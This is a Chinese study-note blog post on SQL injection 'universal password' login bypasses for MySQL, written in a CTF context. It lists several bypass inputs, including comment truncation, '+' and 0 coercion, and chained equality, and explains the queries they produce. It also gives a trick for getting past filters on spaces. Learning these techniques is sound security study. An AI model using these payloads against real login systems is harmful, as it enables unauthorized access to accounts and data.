CTF-sql-mysql万能密码

以下是我在学习sql注入时的一些感想分享,希望能帮助到大家,如有错误,望指出。

 

万能密码的种类:

①select * from admin where username =“” and password = “”

②admin‘ #

③’+‘   ’+‘

④0

⑤Aaa’ = ‘

 

在以下的select语句中的username和password可类似看作为字符串变量

select * from user where username = ‘admin’ and password = ‘yi’;

该语句的判断逻辑是什么呢?

就是当username =‘admin’和password=’yi’都为真时执行成功。

那么就是说不管怎么样,只要这两项都为真就行了这就意味着即使用户名和密码都不正确,只要让这两项都为真就能执行成功该逻辑就是②③条的注入原理

①select * from user where username = ‘chen’ # ‘ and password = ‘qian’;

②select * from user where username = ‘ ‘+’ ‘ and password = ‘ ‘+’ ‘;(有局限) 

select ‘ ‘+’ ‘;

select ‘qian’=0;

select ‘1qian’=0;

仅对于username和password的值为非数字开头的字符串有效。Eg:’q123’

在这里select语句中的username和password可类似看作为字符串变量,那么等于非数字开头字符串的变量在转化为int形式时就为0(这里的=号不是赋值符号,就是数学上=号的作用)

③select * from user where username = 0 and password = 0; 

在这里username和password可类似看作为字符串变量,那么非数字开头的字符串在转化为int形式就为0(和③原理一样,就是表现手法不同而已)

④select * from user where username = ‘aaa’=’ ‘ and password = ‘aaa’=’ ‘; 

select ‘aaa’=’a’;(执行结果为0) 

select ‘aaa’=’a’=’ ‘; 

判断逻辑:username=’aaa’为假,假=’ ‘又变为了真,password一样(前提username与password都不为’aaa’)%e6%b5%85%e6%98%93%e6%b7%b1

⑤select \Nfrom user;(执行成功,在N与from之间没空格)

select 1from;(执行失败,因为1与from之间没空格)

select 1,2,\Nfrom user;(执行成功,在2与from之间没空格) 

该技巧在from的左端不能输空格的时候,可以考虑能不能使用该方法进行绕过。

posted @ 2020-07-07 09:43  浅易深  阅读(1921)  评论(0编辑  收藏  举报